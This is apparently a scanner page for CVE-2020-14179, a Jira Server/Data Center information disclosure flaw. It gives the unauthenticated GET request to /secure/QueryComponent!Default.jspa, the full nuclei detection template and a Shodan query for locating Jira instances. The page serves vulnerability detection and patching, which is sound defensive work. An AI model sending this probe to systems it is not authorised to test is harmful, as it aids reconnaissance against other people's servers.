Atlassian Jira Server/Data Center <8.5.8/8.6.0 - 8.11.1 - Information Disclosure

mediumseverity

5.3CVSS score

76%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Atlassian Jira Server and Data Center before 8.5.8 and 8.6.0 through 8.11.1 are susceptible to information disclosure via the /secure/QueryComponent!Default.jspa endpoint. An attacker can view custom field names and custom SLA names.

Impact

An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks.

Fix

Upgrade Atlassian Jira Server/Data Center to a version higher than 8.11.1 to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/secure/QueryComponent!Default.jspa
Positive when: contains "{\"searchers\":" and "\"groups\":" and "\"id\":\"customfield" AND status 200

Run it with nuclei: nuclei -id CVE-2020-14179 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-14179

info:
  name: Atlassian Jira Server/Data Center <8.5.8/8.6.0 - 8.11.1 - Information Disclosure
  author: x1m_martijn
  severity: medium
  description: Atlassian Jira Server and Data Center before 8.5.8 and 8.6.0 through 8.11.1 are susceptible to information disclosure via the /secure/QueryComponent!Default.jspa endpoint. An attacker can view custom field names and custom SLA names.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks.
  remediation: |
    Upgrade Atlassian Jira Server/Data Center to a version higher than 8.11.1 to mitigate the vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-71536
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14179
    - https://github.com/developer3000S/PoC-in-GitHub
    - https://github.com/hackerhackrat/R-poc
    - https://github.com/soosmile/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-14179
    epss-score: 0.76042
    epss-percentile: 0.99533
    cpe: cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira_data_center
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2020,atlassian,jira,exposure,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/secure/QueryComponent!Default.jspa"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{"searchers":'
          - '"groups":'
          - '"id":"customfield'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from